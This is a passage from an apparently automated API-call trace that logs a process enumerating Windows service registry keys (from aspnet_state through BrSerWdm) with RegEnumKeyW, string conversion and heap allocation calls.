CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0246.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0246.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0246.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0246.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1970, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0246.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0246.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0246.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0246.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0246.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0246.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0246.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0246.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f19b8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0246.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0246.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0246.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0246.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0246.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0246.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0246.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.390] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0246.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0246.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0246.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0246.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0246.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0246.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0246.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0246.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0246.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0246.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.391] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0246.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0246.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0246.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0246.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0246.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0246.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0246.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.392] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0246.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0246.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0246.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0246.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0246.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0246.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0246.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0246.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.393] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0246.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0246.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0246.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0246.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 